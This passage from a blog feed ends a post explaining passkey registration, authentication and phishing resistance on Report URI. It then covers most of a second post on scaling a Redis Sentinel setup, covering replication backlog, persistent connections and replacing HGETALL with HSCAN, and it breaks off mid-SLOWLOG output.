id="how-do-passkeys-work">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>
     User               Browser / OS              Website / Server            
     |                      |                           |
     | 1. &quot;Create Passkey&quot;  |                           |
     |---------------------&gt;|                           |
     |                      | 2. Request registration   |
     |                      |--------------------------&gt;|
     |                      |                           |
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           | 
     |                      | 4. Create new key pair    |
     |                      |    - save private key     |
     |                      |      on device            | 
     |                      |                           |
     |                      | 5. Send public key + attestation
     |                      |--------------------------&gt;|
     |                      |                           | 7. Store public key
     |                      |                           |    with user account
     |                      | 8. Registration complete  |
     |                      |&lt;--------------------------|
     | 9. &quot;Registration Complete&quot;                       |
     |&lt;---------------------|                           |
     |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server
     |                      |                           |
     | 1. &quot;Sign in with passkey&quot;                        |
     |---------------------&gt;|                           |
     |                      | 2. Request authentication |
     |                      |--------------------------&gt;|
     |                      |                           | 
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           |
     |                      | 4. Biometrics / PIN       |
     |                      | 5. Sign with private key  |
     |                      | 6. Return signed challenge|
     |                      |--------------------------&gt;|
     |                      |                           | 7. Verify signature
     |                      |                           |    using public key
     |                      | 8. Authentication successful
     |                      |&lt;--------------------------| 
     | 9. &quot;Signed in!&quot;      |                           |
     |&lt;---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you&apos;re logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id="how-are-they-phishing-resistant">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn&apos;t just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn&apos;t actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               &lt;-- nope
    https://report-uri.secure-login.com  &lt;-- nope
    https://report-uri.xyz               &lt;-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you&apos;re on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id="how-are-they-being-used-on-report-uri">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we&apos;ve opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you&apos;re interested in our approach to securing user passwords, you can read my <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href="https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords" rel="noreferrer">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you&apos;re planning to use them on your site. Make sure you&apos;re subscribed for notifications so you know when they go live!</p><p></p>]]></content:encoded></item><item><title><![CDATA[When “One in a Billion” Happens Every Day: Scaling Redis at Report URI]]></title><description><![CDATA[<p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;</p>]]></description><link>https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/</link><guid isPermaLink="false">69af4097fedfb90001b388b4</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Redis]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 24 Mar 2026 14:36:17 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI"><p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;ve had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id="our-high-availability-redis-deployment">Our High-Availability Redis deployment</h4><p>I recently wrote <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> and you should start there if you&apos;d like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1000" height="785" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn&apos;t long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id="just-how-much-are-we-talking">Just how much are we talking?</h4><p>You can head over to our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Global Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="847" height="318" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="965" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can even check out our mesmerising <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we&apos;re processing, let&apos;s get on to the &apos;how&apos;. </p><p></p><h4 id="identifying-opportunities-for-improvement">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as &apos;Mega Tickets&apos;, which signifies that they&apos;re going to be a parent ticket for a bunch of other tickets, and that there&apos;s going to be a lot of work involved!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="925" height="843" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say &quot;well, duh...&quot; after you read them, but all of this was working perfectly until it wasn&apos;t. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id="optimising-replication-for-smooth-failovers">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href="https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io" rel="noreferrer">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn&apos;t theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here&apos;s how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    PRIMARY                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
    Writes from &#x2192;   &#x2502; &#x2502;   Command Stream (WRITE ops)  &#x2502;           &#x2502;
    applications &#x2500;&#x2500;&#x2500;&#x25B6;&#x2502;   (SET, HSET, INCR, etc.)     &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502;   Replication Backlog (2 GB) &#x2502;&#x25C4;&#x2500;&#x2500;&#x2500;&#x2510;      &#x2502;
                    &#x2502;  &#x2502;  Circular buffer of last N B &#x2502;    &#x2502;      &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;    &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x25BC;                         &#x2502;      &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;    &#x2502;      &#x2502;
                    &#x2502;  &#x2502; Replica Output Buffer (512MB)&#x2502;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;      &#x2502;
                    &#x2502;  &#x2502; per connected replica client &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;
                                                  &#x2502;
                                                  &#x2502; TCP stream of write commands
                                                  &#x25BC;
                    &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    REPLICA                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502; &#x2502;   Input buffer (from primary) &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502; Apply to dataset in memory   &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they&apos;re the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will &apos;overtake&apos; the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1369" height="887" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w" sizes="(min-width: 720px) 720px"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to &apos;catch up&apos; using the Replication Backlog, it can&apos;t, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id="persisting-connections-to-save-on-overheads">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we&apos;re handling almost 1,500 connections/second to Redis.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we&apos;re now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="552" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we&apos;re saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we&apos;re saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you&apos;re now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id="avoiding-large-reads-that-take-too-long">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it&apos;s not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn&apos;t available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436
        2) (integer) 1762833603
        3) (integer) 1049238
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1969791144&quot;
        5) &quot;snip:34018&quot;
        6) &quot;&quot;
     2) 1) (integer) 6435
        2) (integer) 1762833423
        3) (integer) 1005244
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-533592971&quot;
        5) &quot;snip:54284&quot;
        6) &quot;&quot;
     3) 1) (integer) 6434
        2) (integer) 1762833063
        3) (integer) 1072218
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-383568749&quot;
        5) &quot;snip:47118&quot;
        6) &quot;&quot;
     4) 1) (integer) 6433
        2) (integer) 1762833003
        3) (integer) 1073379
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1518767320&quot;
        5) &quot;snip:36282&quot;
        6) &quot;&quot;
     5) 1) (integer) 6432
        2) (integer) 1762832822
        3) (integer) 1002085
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-367184566&quot;
        5) &quot;snip:60828&quot;
        6) &quot;&quot;</code></pre><p></p><p>There&apos;s a <code>hGetAll()</code> call in there that took 1,073,379&#x3BC;s, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We&apos;re currently capping the length of a <code>hScan()</code> call to ~500,000&#x3BC;s (500ms) so that we&apos;re never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957
        2) (integer) 1763047503
        3) (integer) 599277
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-775261748&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:52516&quot;
        6) &quot;&quot;
     2) 1) (integer) 5956
        2) (integer) 1763047382
        3) (integer) 575907
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-991577969&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:42706&quot;
        6) &quot;&quot;
     3) 1) (integer) 5955
        2) (integer) 1763047321
        3) (integer) 546641
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1663792648&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:39818&quot;
        6) &quot;&quot;
     4) 1) (integer) 5954
        2) (integer) 1763047262
        3) (integer) 563350
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-903905420&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:50746&quot;
        6) &quot;&quot;
     5) 1) (integer) 5953
        2) (integer) 1763047201
        3) (integer) 609534
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1690091359&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:49308&quot;
